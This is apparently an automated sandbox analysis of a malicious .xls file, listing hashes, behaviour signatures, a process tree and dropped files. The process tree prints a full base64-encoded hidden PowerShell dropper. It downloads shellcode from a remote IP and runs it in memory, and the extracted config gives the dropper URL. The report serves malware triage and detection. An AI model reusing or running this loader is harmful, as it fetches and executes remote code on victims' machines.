Analysis

  • max time kernel
    36s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 21:58

General

  • Target

    5d58e758e728ee4df1f238864186431de63a8b38508c427f53abd07c8c9fb95f.xls

  • Size

    46KB

  • MD5

    434d89ccf58222a7a8677f194a7eec0a

  • SHA1

    fe29a64739dea4e8bf40fa0a5e02e88bed417c32

  • SHA256

    5d58e758e728ee4df1f238864186431de63a8b38508c427f53abd07c8c9fb95f

  • SHA512

    2386756bf990e6b3b72baad089d87078fb3a837b0f1e1a1d4be4be582749eb8d2b74e8ba416aeed58dc6c3d2cf6436f9c9ac082ded470165f3601b81b9546cbe

  • SSDEEP

    768:d4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:qSFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5d58e758e728ee4df1f238864186431de63a8b38508c427f53abd07c8c9fb95f.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5036
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4sxb5iel\4sxb5iel.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4888
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES87ED.tmp" "c:\Users\Admin\AppData\Local\Temp\4sxb5iel\CSC6226AC086F4E495C90E0385C98AC523.TMP"
          4⤵
            PID:4080

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\4sxb5iel\4sxb5iel.dll

      Filesize

      3KB

      MD5

      d44190194ef0411c6f6522635a7584de

      SHA1

      82bb3e7d63bffb795d555355c4df83a1332c419d

      SHA256

      bef0e7f6af880adbe302c85fa2b5711efd1b2557630753e111dab00b3a4b7060

      SHA512

      3a8caf0dca8e940894dc5e22488c1bffa94f570724397ea80c2c343f0321a507237193a51e2d83b251209de1cd117e6647bf0df53ae6d1f5a0a68ec40e5826c2

    • C:\Users\Admin\AppData\Local\Temp\RES87ED.tmp

      Filesize

      1KB

      MD5

      125233ee95e2b97a65590b158a469d44

      SHA1

      efb7a66627103b81641a8d87cade40764becc199

      SHA256

      e843e7eeed35241471ecd20225082cbdda00dea642e84e1f67d4a8e55869e824

      SHA512

      3525e8410c5555f16a385f6c44af31cc9f9e171f42fe211c407b35bfe6f246e4a411c340d09a6a89ade696a0d226418945b570c965ced4ffd3dd83b705aacc8b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lu1ik0h3.sa5.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

      Filesize

      1KB

      MD5

      faa26f75dcbe70cb3cb49fbed6d1d880

      SHA1

      086ed1a9153fc9e721290261dd2c7c9d61003008

      SHA256

      65d6187f238f62c59fd29fe1e129743f32db1b377f9add779ab1781b2e8d9c9e

      SHA512

      29f6bed11f20dbb1e3fa919bad240f814ee8ee66f59593ba82a3e96e4a269bbfb88f15443bfb17e1b93fd8dd0028ef5e85e8c9671b05e9af7bfb377cc7f98c4d

    • \??\c:\Users\Admin\AppData\Local\Temp\4sxb5iel\4sxb5iel.0.cs

      Filesize

      631B

      MD5

      f4dd5c682eb7b3b679f084261bfc7c4c

      SHA1

      70f75d7a4e42c185eb09139ed3c6f7338a2219c2

      SHA256

      2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

      SHA512

      8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

    • \??\c:\Users\Admin\AppData\Local\Temp\4sxb5iel\4sxb5iel.cmdline

      Filesize

      369B

      MD5

      abd0f1fd39b5de26bd9e8862a72323c9

      SHA1

      ac9c21f480c303e11d624c61c1bb43f19e4479af

      SHA256

      bcfcf13672297034438c1ff300c742f0c2979ece919998bec71be0ce3d3b688e

      SHA512

      9aeaa37daee48bcc70c118e4991cb8603c7a578bf977de59dd3968235733aedf19d2cba9d7e5a5e769ab0fa9f209e2e419e2663e1eee529569def5560434c0ca

    • \??\c:\Users\Admin\AppData\Local\Temp\4sxb5iel\CSC6226AC086F4E495C90E0385C98AC523.TMP

      Filesize

      652B

      MD5

      0fc7e3b5823de0eba90ba6f0cc7c95cd

      SHA1

      e0862ceb51e4f7ff5c1e99095281815e4c8a7574

      SHA256

      ceb7cc720416a00145b1d6790ffd5962a1ff451584900e48e3d7dd97c15f32a7

      SHA512

      e70423ef046dc790bb219fa1e6f16cc1e7ae84c36b610a8ea85179b374abdd490b899e55839bd81b39356390ded13b755c0bfd04abeb7b8885be264598bb094c

    • memory/832-12-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-15-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-1-0x00007FFCF728D000-0x00007FFCF728E000-memory.dmp

      Filesize

      4KB

    • memory/832-11-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-10-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-13-0x00007FFCB4910000-0x00007FFCB4920000-memory.dmp

      Filesize

      64KB

    • memory/832-9-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-14-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-19-0x00007FFCB4910000-0x00007FFCB4920000-memory.dmp

      Filesize

      64KB

    • memory/832-18-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-22-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-21-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-20-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-17-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-16-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-6-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-26-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-27-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-0-0x00007FFCB7270000-0x00007FFCB7280000-memory.dmp

      Filesize

      64KB

    • memory/832-7-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-8-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-2-0x00007FFCB7270000-0x00007FFCB7280000-memory.dmp

      Filesize

      64KB

    • memory/832-4-0x00007FFCB7270000-0x00007FFCB7280000-memory.dmp

      Filesize

      64KB

    • memory/832-5-0x00007FFCB7270000-0x00007FFCB7280000-memory.dmp

      Filesize

      64KB

    • memory/832-3-0x00007FFCB7270000-0x00007FFCB7280000-memory.dmp

      Filesize

      64KB

    • memory/832-69-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-62-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-63-0x00007FFCF728D000-0x00007FFCF728E000-memory.dmp

      Filesize

      4KB

    • memory/832-64-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/832-68-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5036-57-0x000002C19C160000-0x000002C19C168000-memory.dmp

      Filesize

      32KB

    • memory/5036-35-0x000002C19C130000-0x000002C19C152000-memory.dmp

      Filesize

      136KB